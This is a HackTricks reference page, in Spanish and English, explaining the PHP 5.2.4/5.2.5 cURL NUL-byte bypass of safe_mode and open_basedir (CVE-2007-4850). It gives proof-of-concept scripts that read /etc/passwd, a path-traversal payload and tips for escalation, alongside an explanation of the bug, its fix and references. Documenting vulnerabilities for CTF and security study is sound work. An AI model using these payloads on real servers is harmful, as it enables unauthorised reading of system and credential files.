PHP 5.2.4 y 5.2.5 PHP cURL
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta página documenta un truco legacy pero aún útil en CTFs/instalaciones locales para eludir las comprobaciones PHP safe_mode/open_basedir usando la extensión cURL en compilaciones específicas de PHP 5.2.x.
- Affected: PHP 5.2.4 y 5.2.5 con ext/curl habilitado.
- Impact: Leer archivos locales arbitrarios a pesar de las restricciones de safe_mode o open_basedir (sin ejecución de código directa).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
PoC de una línea
Si safe_mode o open_basedir están activos y cURL está habilitado, lo siguiente devolverá el contenido del script actual:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
PoC más explícito (lectura arbitraria de archivos)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notas:
- Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably.
- This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible.
Por qué funciona (breve)
La vulnerabilidad radica en cómo PHP 5.2.4/5.2.5 realizaba las comprobaciones de safe_mode/open_basedir para URLs file:// en ext/curl. La comprobación analizaba el URL y validaba un componente de ruta, pero debido al manejo de NUL-byte validaba una cadena distinta a la que realmente usaba libcurl. En la práctica, el validador podía aprobar la ruta después del NUL mientras libcurl usaba la parte antes del NUL como contenedor del URL, permitiendo un bypass que resulta en la lectura del archivo situado después del byte NUL. See the original analysis and the affected macro in curl/interface.c for details. [CVE-2007-4850].
Restricciones y correcciones
- Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
- Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.
Bypass históricos relacionados basados en cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
Consejos para CTF
- When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for
cURL support => enabledinphpinfo()and the exactPHP Version), this trick usually works even ifallow_url_fopenis disabled because ext/curl handlesfile://itself. - If direct paths are blocked, try relative traversal after the NUL, e.g.
file://x\x00../../../../etc/passwd. The traversal is resolved by libcurl, not by the open_basedir guard. - You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into
curl_exec()(common in legacy SSRF-like endpoints).
See also
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


